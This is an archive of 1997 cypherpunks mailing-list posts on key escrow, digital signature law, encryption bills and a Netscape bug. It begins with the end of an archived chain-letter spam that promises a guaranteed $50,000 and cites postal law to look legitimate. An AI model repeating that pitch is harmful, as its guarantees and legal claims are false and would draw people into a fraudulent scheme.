rewarding, but will be useful to you in any other
business decisions you make in the years ahead.
You are also buying the rights to reprint all of
the REPORTS, which will be ordered from you by
those to whom you mail this program. The concise
one and two page REPORTS you will be buying can
easily be reproduced at a local copy center for a
cost off about 3 cents a copy. Best wishes with
the program and Good Luck! "IT WAS TRULY AMAZING"
"Not being the gambling type, it took me several
weeks to make up my mind to participate in this
program. But conservative as I am, I decided that
the initial investment was so little that there
was no way that I could not get enough orders to
at least get my money back. BOY, was I ever
surprised when I found my medium sized post office
box crammed with orders! I will make more money
this year than any ten years of my life before."
Mary Riceland, Lansing, MI TIPS FOR SUCCESS Send
for your four 4 REPORTS immediately so you will
have them when the orders start coming in. When
you receive a $5 order, you MUST send out the
product/service to comply with US Postal and
Lottery laws. Title 18 Sections 1302 and 1341
specifically state that: "A PRODUCT OR SERVICE
MUST BE EXCHANGED FOR MONEY RECEIVED." WHILE YOU
WAIT FOR THE REPORTS TO ARRIVE: 1.	Name your new
company. You can use your own name if you desire.
2.	Get a post office box (preferred). 3.	Edit the
names and addresses on the program. You must
remember, your name and 	address go next to REPORT
#1 and the others all move down one, with the
fourth one 	being bumped OFF the list. 4.	Obtain
as many email addresses as possible to send until
you receive the information on 	mailing list
companies in REPORT #3. 5.	Decide on the number of
programs you intend to send out. The more you
send, and the 	quicker you send them, the more
money you will make. 6.	After mailing the
programs, get ready to fill the orders. 7.	Copy
the four 4 REPORTS so you are able to sent them
out as soon as you receive an 	order. IMPORTANT:
ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS 	YOU
RECEIVE! 8.	Make certain the letter and reports
are neat and legible. YOUR GUARANTEE The check
point which GUARANTEES your success is simply
this: you must receive 15 to 20 orders for REPORT
#1. This is a must!!! If you don't within two
weeks, email out more programs until you do. Then
a couple of weeks later you should receive at
least 100 orders for REPORT #2, if you don't, send
out more programs until you do. Once you have
received 100 or more orders for REPORT #2, (take a
deep breath) you can sit back and relax, because
YOU ARE GOING TO MAKE AT LEAST $50,000.
Mathematically it is a proven guarantee. Of those
who have participated in the program and reached
the above GUARANTEES-ALL have reached their
$50,000 goal. Also, remember, every time your name
is moved down the list you are in front of a
different REPORT, so you can keep track of your
program by knowing what people are ordering from
you. IT'S THAT EASY, REALLY, IT IS!!! REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR
ANYTHING." "INVEST A LITTLE TIME, ENERGY AND MONEY
NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sun, 29 Jun 1997 11:01:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628101134.52512@bywater.songbird.com>
Message-ID: <97Jun28.225157edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 28 Jun 1997, Kent Crispin wrote:

> But so what? Right now the government has intimate knowledge of your
> finances through tax records and other sources, and has the power to
> put liens on your property and your cash for all kinds of reasons.  
> And indeed, all too frequently it gets out of control.  But the 
> bottom line is that business in the US continues to function.  It 
> would continue to function with key escrow, as well.

They can easily put a lein on MY property, but (except for some abuses
which are the subject of lawsuits), they can't put a lein on something
that has been sold and resold that is now someone else's.  With GAK$, they
can cancel every $20 e-bill I have ever spent, those I currently own, and
those I have transferred to others in exchange.

> Assuming certain models of key escrow, yes.  Under other models, no.  
> But imagine the worst case -- GAK creates a huge unwieldy expensive 
> computerized infrastructure and associated bureacracy.  What 
> happens?  Businesses find other ways to protect their data and 
> transactions, huge economic inefficiencies develop, and the whole 
> thing collapses and goes away.
> 
> It's amazing how little faith libertarians have in the market system,
> isn't it?  :-)

Actually I expect exactly what you describe to happen.  In various other
posts and venues, I have said in some form that "The government won't be
overthrown in a revolution, it will be obsoleted by technology". 

But waiting for the market to take effect may not be short or pleasant.
Look how long it took for the Soviet empire to collapse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 29 Jun 1997 14:08:48 +0800
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Bomb-making instructions....
In-Reply-To: <3.0.2.32.19970628094411.006c20b8@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970628230229.03119a94@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:44 PM 6/28/97 -0400, Jeremiah A Blatz <jer+@andrew.cmu.edu> wrote:
>Just for the record, _The Anarchist's Cookbook_ is full of
>purposefully dangerous misinformation. It is written so that if you
>follow enough of its recipies, you *will* kill yourself.

No surprise - a book on bombmaking has so little to do with anarchism*
that you'd expect the author to either be clueless or spreading
disinformation, so there's no reason to expect his bomb-making info to 
be correct either.

[*Ok, there have been a few anarchists who've thrown bombs,
and anarchists who _like_ that sort of thing aren't going to pay
much attention to the government's opinion on whether bombs ar cool,
and if there are many chemically clueless bomb-loving anarchists,
some of them _might_ get their books published before Darwin 
removes them from the meme pool, but the couple of books like that
strike me as either deliberate disinformation, or else as
particularly negligent attempts at making a fast buck from
rebellious teenagers.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 29 Jun 1997 14:37:15 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <199706282214.PAA09700@fat.doobie.com>
Message-ID: <3.0.2.32.19970628231133.0312314c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:14 PM 6/28/97 -0700, Huge Cajones Remailer wrote:
>Why the fuck are there so many requests from aol ?
>thats eerie if you ask me.

Because there was just an article in Wired on the
Cypherpunks Anguilla conference, so people who are
not necessarily Internet-literate but do like
Rilly C00L Stuf an' Garish GrafiX are poking around
trying to find more c00l stuf....

It's the price of publicity, and if you don't like it,
go read Ender's Game again.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 29 Jun 1997 15:05:09 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970629025104.033fe46c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:26 PM 6/27/97 -0700, Eric Murray wrote:
>And another question is should government be involved at all?
>My answer to that is no, not for the setting of CA policy.
[CA is Certification Authority]

While I wholeheartedly and forcefully agree with Eric's sentiment, the 
business reality is that the gov't will be involved in setting CA policy.  If 
for no other reason, simply because CA's will be used by the gov't.  Even 
from a hands off, pro business viewpoint, few CA's will ignore the wishes of 
their largest customer, the gov't.

The gov't will be involved in CA policy for several reasons.  I'll lightly 
glance on some of them.

 * Beeps and chirps.  Signatures on paper have legal meaning.  This is why 
there is a push to use digital signatures - to give them legal meaning.  
While contract law can be somewhat applied to this concept, many would agree 
that official acknowledgement of digital signatures is a key element of using 
digital signatures in commerce.  A recent case in Georgia's supreme court 
ruled that electronic messages were beeps and chirps, and had no legal status 
as a "writing".  The law continually refers to signatures and writings.  
There must be a law, or interpretation of law to allow for this to be updated 
to electronic writings.  Even if mutual consent could be used between 
corporations, as the state moves to the cost savings of electronic commerce 
the state will have to impose laws to enable itself to take advantage of 
these technologies.

At 01:26 PM 6/27/97 -0700, Eric Murray wrote:
>The biggest problem with CAs and the law is legal liability.  The liability
>of being a CA is currently unknown until there is case law on the topic.

 * Resolving legal liability.  Some of the proposed laws for enabling digital 
signature technology do in fact solve the liability problem for CA's by 
legislating it out as long as the CA performs due diligence.  To enforce due 
diligence, some laws also provide for government auditing of CA procedures 
and for injunctive relief to shut down a "rogue" Certification Authority.

A copy of one such overly bureaucratic 22 page Certification Authority law 
can be found at http://www.efga.org/digsig/lawdraft.html  This is the 
original draft of Georgia's Digital Signature law.  This draft was thrown out 
and rewritten from scratch to form a much better law.  (assuming any law can 
be good)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7YF00GpGhRXg5NZAQGnEAH+JRioBgJi2UIK1SkBBtaACNHCsd6nYbyU
Q5/57jni0VV1AejCK7tOCFN1KfPe43dKlnsplBrO+spBf7Lt9j90Mw==
=pAgj
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 19:06:00 +0800
To: cypherpunks@toad.com
Subject: Dr. Netscape / Re: More about Netscape Bug finder
Message-ID: <199706291046.DAA21946@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynne L. Harrison wrote:

> This reminded me to ask if anyone knows if, per their statement, Netscape
> intends to u/l a patch for the 3.x versions.  When I checked yesterday, I
> didn't see any reference to it.

  Why would you expect Netscape to make reference to the fact that
use of their browser leaves you open to violation of your privacy
and security? Corporations are not expected to show concern about
keeping their customers well-informed in regard to problems that 
arise with their product--they are expected to pretend, as much
as possible, that problems don't exist (even if it may result in
disastrous consequences for the customers who foolishly trust
the company to act with integrity and professionalism).

  Netscape software is my browser of choice. I like the product,
I like the company, and I like what I know of the people involved
in the company.
  Despite these facts, however, I recognize that reality is merely
a shallow reflection of classic Hollywood movies, and "Invasion
of the Body Snatchers" is currently playing at the Netscape cinema
complex.
  You may have already seen this movie, at your own corporate
cinema, so you know how the plot goes... You wake up one morning
and realize that behind the glazed eyes of your formerly human
co-workers, lurks the alien energy of a communal corporate soul.

  The company spokesperson (who has two cute kids and a dog that
are always a hit at the company picnic) has turned into an alien
life-form which is telling the press and public that the chemical
spill near the high-school has nothing to do with the hands that
are now growing out of the students' foreheads.
  The company president (who risked his job to support a decent
employee health-plan against the investor's wishes) begins to
speak about a "ten year study" to determine why 20% of the
company employees develop a rare form of cancer every year.
  Your best friend at the company changes the subject when you
mention the growing number of the company's customers who seem
to have an extra ear growing on their forearm. You can tell
that your best friend is looking into your eyes and trying to
discern if you are one of "them."

  A twenty-dollar street hooker will sometimes have time to join
you for coffee and a burger at the conclusion of a business
transaction, but a high-priced call-girl invariably recognizes
the danger of true personal contact adversely affecting future
cash flow.
  For the same reason, the corporate legal team would rather
discuss the responsibility for your failing health in a sterile
boardroom, than during dinner at your house with the whole
family present.

  It is probably in Netscape's best short-term financial interest
to downplay the full implications of the "bug" in their software,
as well as avoiding revealing the true reasons for this "bug"
existing in the first place. However, I would much rather visit
their website and see a big, red "Warning!!!" sign flashing at
the top, with a pointer to full information about the nature
and effect of the "bug," as well as disclosure of facts that
would allow me to judge what level of trust I should use in the
future in regard to the company and their products.
  After all, in terms of security, we can consider ourself to
be "sleeping" with those whose software we use. If it appears
that they are avoiding being fully honest about whether or not
they are practicing "safe software" in the best interests of
both themself and their "Johns," then perhaps we should think
about changing our "sleeping" habits.

  The bottom line is that it does not reflect well on Netscape
to have their customers and/or software users checking with the
members of mailing lists (and the checkout clerk at the local
QuickMart) to find out if there is any chance that they may be
able to use Netscape's product safely in the future.
  I did a quick review of the Netscape documentation and found
it gives no indication that users should inquire at the local
QuickMart for information about problems and bug fixes for
their products.

TruthMonger
~.~.~.~.~.~
DISCLAIMER:  I am not your hooker; you are not my John.
             Accordingly, the above is *NOT* illegal advice.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 29 Jun 1997 19:01:58 +0800
To: cypherpunks@toad.com
Subject: Re: CIA's Manual on Assassination Politics
Message-ID: <199706291046.DAA21950@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> We are trading away our liberty for bullshit assurances of safety,
> security, and protection from the Big Bad Wolf. (*)
> 
> (* And of course the restrictions on publications of various items are
> really designed to protect Those in Power; thus has it always been, thus
> shall it always be.)

Rapist: "I'm using a condom for _your_ protection."
Victim: "Is that why you stole _my_ money to buy it?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 29 Jun 1997 21:36:19 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <33B5AB2C.D94F2237@popmail.firn.edu>
Message-ID: <J3629D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bennett_t1@popmail.firn.edu writes:
                        ^^^
> Huge Cajones Remailer wrote:
>
> > >I want on the mailing list please
> > >
> > >
> > haha
>
>    Yes, this is funny.  I rarely get to see people of this intelligence.

You'd see more if you taught.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 29 Jun 1997 20:23:51 +0800
To: cypherpunks@toad.com
Subject: Details of HR 666
Message-ID: <199706291210.IAA22794@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



>   Under clause 0 of rule XYZ, the following action was taken by the
> Speaker:
> 
>        H.R. 666. A bill to amend title 0, United States Code, to
>      affirm the rights of U.S. persons to breathe the air around
>      them and to relax export controls on wind; with an
>      amendment; referred to the Committees on Commerce, National
>      Security, and the Permanent Select Committee on intelligence
>      for a period ending not later than September 5, 1997, for
>      consideration of such provisions of the bill and amendment
>      reported by the Committee on the Judiciary as fall within the
>      jurisdiction of those committees pursuant to clause 0(e) and
>      (k), rule XYZ and rule XLVIIIX, respectively.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 30 Jun 1997 13:52:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <v03020938afdc133f71f6@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:13 pm -0400 on 6/28/97, Tim May wrote:

   Kent (With a Brick, Mr.) Chrispin emetted:
> >Governments have devalued currencies many many times in the past
> >without the need of key escrow...key escrow is an independent issue.
>
> Sure, but one of the potential advantages of strong crypto is the
> oft-discussed "denationalization of money." Leading bankers are beginning
> to see the light on this.

I wonder if Mr. Chrispin has ever heard of George Soros, or does the
adventures of St. George and the BofE dragon smack too much of, horrors,
capitalism? (Modulo Soros' ocassional self-flagellatory Atlantic article,
of course. Knight-errants are all into that mortifying the flesh stuff. Or,
maybe he's just trying to hedge his bets or something...)


Anyway, on the same note, and, as a result of the Wired article this month
on FC97 (I finally saw it, and it's not as bad as I thought it was going to
be. I guess as long as they spell my name right...), I just got request for
an interview from a staff writer from Forbes. He's writing on this very
thing, the macroeconomic effect of transanational digital cash. His very
words to me were:

> An editor of mine liked the story so much he told
> me to expand it (a.k.a. totally rewrite it) looking at whether or not a
> boom in the use of electronic money might not render governmental
> monetary control irrelevant as well. Looking at the issue from that
> angle is convincing me that the answer is yes, and that the real story
> here is about crypto.

He's going to interview me on Tuesday, after the DCSB meeting.

God help us all. :-).

When I replied to him, I gave him the whole nine yards, poor guy. Hope I
didn't scare him off: financial cryptography, the ubiquitous geodesic
economy, cryptomoney, etc. (Including, of course, the, um, "excrable"
e$yllogism. ;-)) I also gave him a whole passle of people to talk to about
it, including David Friedman, who reported on another list lately that he's
brought father Milton around to believing in the inefficiency of central
banking compared to free banking, particularly in a world of ubiquitous
internetworks and financial cryptography. I also sent him on to Tatsuo
Tanaka, who did a presentation about a year ago at DCSB on, you guessed it,
the transnationality of digital cash. :-). (Of course, Tatsuo's thinking
then was that some global run or another on free$banks would end in the
creation of a central bank of cypherspace, but, maybe, he's *much* better
now. :-))


I didn't include you on that list, Tim, because I remember you saying
something about not being bothered with such reporter.cruft anymore, and
how coupling financial cryptography with strong cryptography in the eyes of
the press and the financial establishment didn't make any sense, but, in
case you want him to misquote us *both* and scare all those capitalist
tools out there half to death, let me know and I'll send him your way.

Or, maybe such glad tidings will make them all want to help us dance a jig
on the eventual grave of the nation-state, you never know. The rich and
hoity-toity are very different from you and me. Well, *me*, anyway...

(Did I ever tell you the story about how my old man built a sailboat on St.
Thomas without ever having really sailed much, and, the boat was so fast
that it won *lots* of silver, so much silver that he made the New York Post
(I think) about it, and, having read that article, Malcom Forbes came down
to the islands that fall, and invited Pop to hang out with him on
Highlander for a few days?

No?

Well, my old man built a sailboat on St. Thomas, you see,...)


<Tune: "America the beautiful"> "My country tis of thee, land of
plutography..." </T>

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 29 Jun 1997 23:44:13 +0800
To: cypherpunks@Algebra.COM
Subject: Digital Signatures & THE LAW???
Message-ID: <199706291535.KAA05045@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Has there been any concideration for the difference between a digital
signature that is used only for authentication and one that is legally
binding??

I would hate for these Digital Signature Laws make every e-mail message I
sent a legally binding document. :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7aBbI9Co1n+aLhhAQHsCwP/dUQ6jixcfYCkLLFkZomM5gzCysRjnlr3
rGjXMMDyVZ2OQn2ZjSJ+TmrocbmZy2yNolBquRN0w0PjnGbC8k8ZCFxW8C4xHX9B
CBf7XNGijoFxi3DTVViTv/i+waLX6sfJM1fp9IpUe7Da5fOb6vqf0rXNDPwdVLIB
Sn0rJodgqho=
=+Bcp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 30 Jun 1997 02:04:08 +0800
To: coderpunks@toad.com
Subject: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



While reading the latest issue of Dr. Dobbs, I found something of interest...

Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
Price $99.95

Includes the following books:

-- Applied Cryptology, Cryptographic Protocols, and Computer Security
Models by Richard Demillo

-- Applied Cryptography: Protocols, Algorithms, and Source Code in C,
Second Edition by Bruce Schneier

-- Contemporary Cryptology: The Science of Information Integrity edited by
Gustavus J. Simmons

-- Cryptography and Data Security by Dourthy Denning

-- Cryptography: A New Dimension in Computer Data Security by Carl Meyer

-- Cryptography: Theory and Practice by Douglas Stinson

-- Handbook of Applied Cryptography by Paul C. Van Oorschot, Scott A.
Vanstone, and Alfred Menezes

-- Military Cryptanalysis, Volumes I-IV by William Friedman

-- "RSA Laboratories FAQ on Cryptography," "RSA Labratories Technical
Reports," "RSA Laboratories Security Bullitens," and "CryptoBytes Newsletter".

The CD-ROM also boasts having a search engine.  (No indication as to what
OS.  Probably Wintel only.)

It is supposed to be shipping in July.

It is only available to US customers.

Phone orders: 1-800-992-0549
E-mail: orders@mfi.com
Fax: 913-841-2624

Mail:
  Dr. Dobbs CD-ROM Library
  1601 West 23rd St, Ste. 200
  Lawrence, KS 66046-2703

[Disclaimer: I have nothing to do with Dr. Dobbs other than being a
subscriber.]

I plan on getting it as it has at least one book I have been planning on
buying that costs about what the CD-ROM runs...  I will tell people how
good it is when I get it.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 30 Jun 1997 13:29:47 +0800
To: geeman@best.com
Subject: Re: details of 6/26 action on HR 695??
Message-ID: <1.5.4.32.19970629150513.0068c8f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



geeman@best.com wrote:

>Are these the same amendments from before, or new ones?

The H.R.695 amendments referred to in the Congressional Record 
appear to be the same ones described in House Report 105-108:

   http://jya.com/hr105-108.txt

If there are others they have not yet been published.

----------

>Congressional Record: June 26, 1997 (House)]
>[Page H4834]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
>[DOCID:cr26jn97-74]
>
> 
>                  REPORTED BILL SEQUENTIALLY REFERRED
>
>  Under clause 5 of rule X, the following action was taken by the 
>Speaker:
>
>       H.R. 695. A bill to amend title 18, United States Code, to 
>     affirm the rights of U.S. persons to use and sell encryption 
>     and to relax export controls on encryption; with an 
>     amendment; referred to the Committees on Commerce, National 
>     Security, and the Permanent Select Committee on intelligence 
>     for a period ending not later than September 5, 1997, for 
>     consideration of such provisions of the bill and amendment 
>     reported by the Committee on the Judiciary as fall within the 
>     jurisdiction of those committees pursuant to clause 1(e) and 
>     (k), rule X and rule XLVIII, respectively.
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "some days weren't there at all" <pandemic@hotmail.com>
Date: Mon, 30 Jun 1997 06:36:24 +0800
To: cypherpunks@toad.com
Subject: Re: Digital Signatures and the Law...
Message-ID: <33B6DD1F.378F@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



> Has there been any concideration for the difference between a digital
> signature that is used only for authentication and one that is legally
> binding??
	What's the difference? When I sign a contract, I'm simply giving notice
that I accept its terms and conditions.
 
What I write in snail mail, however, may also be used in a court of law
to show that I actually thought or wrote whatever it was I wrote. Why
would e-mail be any different? 

> I would hate for these Digital Signature Laws make every e-mail message I
> sent a legally binding document. :(

That's the rub about nailing down identity...there's no such thing as
plausible deniability anymore.

In a court of law, assuming you could prove to a judge and jury that
digi sigs establish identity beyond a reasonable doubt, I'd imagine
that  anything signed, law or no law, would be legally binding insofar
as you actually wrote it.

I think I'm missing something...?
---------------------
"Deities do not fall ten floors to the basement" - Willis
pandemic@hotmail.com   please contact for PGP public key.
http://www.skylink.net/~bigdaddy





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 30 Jun 1997 06:28:33 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <3.0.32.19970626233120.006c04f4@best.com>
Message-ID: <3.0.2.32.19970629151626.006e20f4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:41 AM 6/27/97 -0700, Tim May wrote:
>I also applaud what my local Congresscritterwoman says, and especially her
>quotation of the Dan Gillmor column from the local Silicon Valley
>newspaper. I saw this colum several days ago and was impressed, especially
>by the quote I include below.

Of course, after saying good things about the stupid
and offensive anti-encryption bill (applaud applaud),
she followed it up by reacting to the Supreme Court CDA decision
by announcing son-of-CDA, a bill to require ISPs to offer censorware.
Oh, well.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 30 Jun 1997 10:57:59 +0800
To: gnu@toad.com
Subject: Australian "Walsh" report exposes the hole in key escrow
Message-ID: <199706300237.TAA24136@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This report was finally obtained (after suing the Australian government
under Freedom of Information laws) by Electronic Frontiers Australia.
I haven't seen it yet; this is the first I'd heard that it is released.

The first paragraph does its best to scare people, but the gist is all
correct:  if you escrow authentication keys, digital signatures don't work.
If you don't escrow authentication keys, then key escrow doesn't work.

	John Gilmore

Forwarded-by: Hal Abelson (I don't know the original source).
     
     By John Davidson 
     
     Governments will be forced to completely undermine the emerging global 
     electronic commerce system if they want to prevent it being used by 
     criminals and for tax evasion, one of Australia's leading data 
     security experts has warned. 
     
     Professor William Caelli, head of the school of data communications at 
     Queensland University of Technology, said yesterday that it was all 
     but technically impossible to satisfy the competing needs of law 
     enforcement and international trade. 
     
     The difficulty was in allowing encrypted data passing along the 
     Internet to be monitored by law enforcement agencies, while at the 
     same time giving legal status to the digital signatures that will 
     underpin electronic trade. 
     
     A suppressed government report into encryption, written by a former 
     deputy director-general of ASIO, Mr Gerard Walsh, has agreed with 
     Professor Caelli. 
     
     The Commonwealth should abandon as "doomed to failure" attempts to 
     control encryption by keeping a copy of the passwords, or keys, in 
     escrow, Mr Walsh told The Australian Financial Review yesterday. 
     
     The field of cryptography is generally divided into encryption, where 
     data is scrambled for confidentiality; and authentication, where an 
     electronic document is scrambled or signed to prove who it came from 
     for legal purposes. 
     
     Policy under consideration in Australia, the US and the UK calls for a 
     separation of the two key types, with law-enforcement agencies having 
     some sort of access to all encryption keys while individual's 
     authentication keys are kept strictly private. 
     
     It is widely accepted that escrowing authentication keys would render 
     them legally useless for signing documents. 
     
     "If you ever allow people to get near authentication keys you'll 
     corrupt the administration of justice," said Mr Walsh. 
     
     The problem facing governments, according to Professor Caelli, is that 
     it is technically impossible to separate the two key types, since they 
     are both just very long numbers. 
     
     The thinking with the most currency, known as "key tagging", involves 
     adding extra data to the start or end of a digital key to identify 
     what it would be used for. 
     
     But key tagging can't work in a PC environment, Professor Caelli 
     claims. PC operating systems don't have enough security to prevent 
     users from simply taking the tag off an authentication key and adding 
     it to an encryption key, thereby bypassing government attempts to 
     escrow all encryption keys. 
     
     If, as it was likely, a dual-key infrastructure proved impossible in a 
     PC world, governments would either have to escrow all keys, rendering 
     digital certification meaningless, or escrow no keys at all, rendering 
     data surveillance totally ineffectual, he said. 
     
     Mr Steve Orlowski, a leading Government expert on cryptography, 
     acknowledged that it was now impossible to build a secure dual-key 
     infrastructure, but said that it was "possible that someone could make 
     a breakthrough". 
     
     "We're encouraging research into that area so we'll be able to make 
     the distinction," he said. 
     
     The US National Institute of Standards and Technology recently made a 
     worldwide plea for cryptography algorithms that can be used for 
     authentication and not for encryption. 
     
     Mr Walsh's report, commissioned by the federal government to look into 
     how it must legislate to satisfy security and privacy needs in the 
     face of strong cryptography, has only now come to light following a 
     successful Freedom of Information action by Electronic Frontiers 
     Australia. 
     
     The 96 page report, Review of policy relating to encryption 
     technologies, was due to be published in October last year, and called 
     for a period of public discussion about cryptography issues. 
     
     However, it was never released, and was only made available to the EFA 
     this week with 20 paragraphs deleted. 
     
     A second report prepared at the same time but with specific 
     recommendations is still secret, however. 
     
     According to Mr Walsh, trying to put the lid on encryption with key 
     escrow would be "an exercise in futility" because it would miss the 
     very target it was intended to catch: organised crime, money 
     laundering operations and terrorists. 
     
     These groups would either refuse to escrow their keys, or simply embed 
     a further level of encryption in their messages, he said.
     
     He also said in the report that it would also be futile to try to 
     regulate the length of crypto keys on a nation-by-nation basis because 
     "the notion of fixed national borders is simply anachronistic" thanks 
     to the Internet. 
     
     "It's not in the interests of the community's rights to privacy, nor 
     the needs of the business community, to . . . limit the strength of 
     cryptography simply to catch the occasional minnow," he said. 
     
     Law enforcement considerations should not automatically leapfrog 
     privacy considerations, and the government would have to mount a 
     "damned strong argument" every time it wanted to access someone's 
     encryption keys, he said. 
     
     Mr Walsh said he was uncertain why his report had been suppressed, 
     given that anything that might have been controversial was restricted 
     to the secret report he also submitted. 
     
     "I wrote (the first report) in the clear expectation that it would be 
     publicly released," he said. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Mon, 30 Jun 1997 10:33:43 +0800
To: Alan Olsen <coderpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <v0300780bafdcc91fd725@[206.11.192.100]>
MIME-Version: 1.0
Content-Type: text/plain



I've been working on this one.  It looks like a really great deal.

The cost should be reasonable.  And I hope nobody posts the text, or the
publishers won't ever do it again.

At 12:56 PM -0500 6/29/97, Alan Olsen wrote:
>While reading the latest issue of Dr. Dobbs, I found something of interest...
>
>Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
>Price $99.95
>
>Includes the following books:
>
>-- Applied Cryptology, Cryptographic Protocols, and Computer Security
>Models by Richard Demillo
>
>-- Applied Cryptography: Protocols, Algorithms, and Source Code in C,
